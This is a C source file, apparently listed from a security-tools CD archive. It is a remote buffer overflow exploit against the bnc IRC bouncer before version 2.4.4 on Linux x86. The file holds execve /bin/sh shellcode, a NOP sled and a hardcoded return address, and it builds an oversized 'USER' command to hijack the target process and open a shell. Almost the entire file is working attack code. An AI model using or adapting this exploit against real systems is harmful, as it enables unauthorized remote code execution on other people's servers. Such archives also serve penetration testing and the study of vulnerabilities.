home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / bnc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  49 lines

  1. /*
  2.  
  3.    bnc remote buffer overflow for linux x86 (w/o stack-non-exec patch)
  4.    by duke (duke@viper.net.au)
  5.    works on versions < 2.4.4
  6.  
  7.   offsets: slackware: 0 redhat: 400->1000
  8.   special thanks to stranJer! :)
  9.  
  10.   greets to everyone (plaguez, horiz0n, dpr, kod, f1ex, sewid, antilove,
  11.   tewl, dmess0r, stranJer  , all of #!ADM :)   and everyone at el8.org )
  12.  
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <string.h>
  17.  
  18. #define RET 0xbffff814
  19. #define BUFSIZE 2000
  20. #define LEN 1000
  21.  
  22. char shellcode[] =
  23.   "\x33\xdb\x33\xc0\xb0\x29\xcd\x80\x33\xc0\xb0\x29\xcd\x80"
  24.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  25.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  26.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  27.  
  28. void
  29. main (int argc, char **argv)
  30. {
  31.   char buf[BUFSIZE];
  32.   int sockfd, i, offset;
  33.   if (argc == 2)
  34.     {
  35.       offset = atoi (argv[1]);
  36.     }
  37.   else
  38.     {
  39.       offset = 0;
  40.     }
  41.   memset (buf, '\x90', BUFSIZE);
  42.   for (i = LEN; i < BUFSIZE - 4; i += 4)
  43.     *(long *) &buf[i] = RET + offset;
  44.   memcpy (buf + (LEN - strlen (shellcode)), shellcode, strlen
  45.           (shellcode));
  46.   memcpy (buf, "USER ", 5);
  47.   printf ("%s", buf);
  48. }
  49. /*                    www.hack.co.za              [2000]*/